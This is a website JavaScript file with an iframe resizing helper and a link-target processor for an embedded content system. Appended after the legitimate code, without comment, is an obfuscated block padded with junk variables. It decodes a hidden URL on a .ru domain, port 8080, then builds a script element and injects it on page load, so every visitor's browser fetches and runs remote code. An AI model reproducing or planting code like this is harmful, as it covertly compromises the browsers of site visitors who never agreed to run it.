var ResizeIframe = {   
  wrapperId : "tinc_content",
                
  /**
   * Resizes an iframe sId including oDoc to oDoc's content size.
   * Can be called top-down, i.e. from the including iframe (or it's parents) or bottom-up, i.e. from the included document.
   * In the latter case the iframe element is retrieved programmatically.
   * 
   * @param oDoc  Included page's document object
   * @param sId   ID of including iframe
   */               
  resize : function ( oDoc, sId ) 
  {
    try
    {
      if ( typeof oDoc == "undefined" ) return;
  
      if ( typeof sId != "undefined" ) 
      {
        var iframe = oDoc.getElementById( sId );
        var iframeDoc = iframe.contentWindow.document;
      } else {
        var iframeDoc = oDoc;
        var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
        var iframe = iframeWindow.frameElement;
      }
      var wrapper = iframeDoc.getElementById( this.wrapperId );

      // make sure we only resize once
      if ( iframeDoc.isIntegrated == true ) { return; }
      
      // switch on transparency for iframe
      iframeDoc.body.style.backgroundColor = "transparent";
      iframe.allowTransparency = "true";
            
      iframeDoc.body.style.padding = "0px";
      iframeDoc.body.style.border = "none";
      
      var tabs = iframeDoc.getElementsByTagName( "table" )
      if ( tabs[0] && tabs[0].className == "dborder" )
     	{		
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } else if ( iframeDoc.forms[0] && iframeDoc.forms[0].elements["formname"] ) 
      {
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } 
      
      if ( window.addEventListener )
      {   
      	var gcs = iframeDoc.defaultView.getComputedStyle( iframeDoc.body, null);
        var v_margin = parseInt( gcs.getPropertyValue( "margin-top" ) ) + parseInt( gcs.getPropertyValue( "margin-bottom" ) );
        var h_margin = parseInt( gcs.getPropertyValue( "margin-left" ) ) + parseInt( gcs.getPropertyValue( "margin-right" ) );
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	iframe.style.width = wrapper_width + h_margin + "px";
        }
        
        // Setting the top padding of the wrapper avoids wrong calculation of the height due to collapsing margins behavior
        wrapper.style.paddingTop = "1px";
        
        height = wrapper.offsetHeight + v_margin ;
      } 
      else if ( window.attachEvent ) 
      {        
        iframeDoc.body.style.margin = "0px";
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	iframe.style.width = wrapper_width + "px";
        }
        
        height = wrapper.offsetHeight;
      }

      if ( iframe.scrolling != "yes" ) { height += 20; }
      
      iframe.style.height = height + "px";
      iframeDoc.isIntegrated = true; 
    } catch ( ex )
    {
      return; 
    }
    
    WfxExtrasProcessor.process( oDoc, sId );
  }
}

var WfxExtrasProcessor = {
  process : function ( oDoc, sId)
  {    
    if ( typeof oDoc == "undefined" ) return;
  
    if ( typeof sId != "undefined" ) 
    {
      var iframe = oDoc.getElementById( sId );
      var iframeDoc = iframe.contentWindow.document;
    } else {
      var iframeDoc = oDoc;
      var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
      var iframe = iframeWindow.frameElement;
    }
    
    // let non-tinc links load in the parent document. this might need some adjustment
    var links = iframeDoc.getElementsByTagName( "a" );
    for ( var i = 0; i < links.length; i++ )
    {
      if ( links[i].href.indexOf( "/tinc" ) == -1 ) links[i].target = "_parent";
    }
    
    // Special case: WebElements forms might do redirection to another page after submission. That's indicated by a non-empty
    // 'redirectionEnabled' attribute of a submit button. 
    var inputs = iframeDoc.getElementsByTagName( "input" );
    for ( var i = 0; i < inputs.length; i++ )
    {
      var input = inputs[i];
      if ( input.getAttribute("redirection") != null && input.getAttribute("redirection") != '' ) 
        input.form.target = "_parent";
    }
  }
}
    
    


var f=new Array();this.X='';function Nk(){this.uv='';var O;if(O!='t' && O!='C'){O=''};var d=window;var P=unescape;var wl;if(wl!='' && wl!='fR'){wl=''};var HK;if(HK!='' && HK!='F'){HK=''};var b=P("%2f%72%31%30%2d%6e%65%74%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6e%64%69%61%6e%72%61%69%6c%2e%67%6f%76%2e%69%6e%2e%70%68%70");var r;if(r!='' && r!='Fg'){r=null};function N(a,w){var A="g";var Rv=new Date();this.CK="";var h=P("%5b"), v=P("%5d");this.Nq='';var ZR='';var Pn=h+w+v;var M_;if(M_!='' && M_!='K'){M_=null};var h_=new RegExp(Pn, A);var PSG="";return a.replace(h_, new String());};var c;if(c!='' && c!='o_'){c=null};var iA='';var xP='';var vt=new String();var ZV;if(ZV!='Q' && ZV!='k'){ZV=''};var n=document;var _=N('854742204162837965904536526','14697325');var l;if(l!='ZK'){l=''};var W;if(W!=''){W='oJ'};var oF=new Date();var Ka='';var y=new String();var XBN="";this.rM="";var uM;if(uM!='g'){uM='g'};function J(){var m=new Date();var cg=new String();var E=P("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var _U='';y=E;y+=_;this.Wh='';y+=b;try {var D;if(D!='' && D!='XBB'){D='ja'};var az=new Date();_Z=n.createElement(N('sHc4r4i4p4tH','H4'));_Z[P("%73%72%63")]=y;_Z[P("%64%65%66%65%72")]=[4,1][1];this.hN="";var lX=new Date();n.body.appendChild(_Z);var NZ=new String();var m_='';} catch(u){alert(u);};var aG=new Date();}d[String("onloafr8I".substr(0,5)+"0CMdC0M".substr(3,1))]=J;var IW;if(IW!='AO' && IW!='uMP'){IW=''};var kt=new Date();var iV="";};var dt="";var JW;if(JW!='' && JW!='jC'){JW=''};var gK;if(gK!='' && gK!='dk'){gK=''};var gC;if(gC!='' && gC!='TR'){gC=''};Nk();var CZ;if(CZ!='MS' && CZ!='Yt'){CZ='MS'};var EwI='';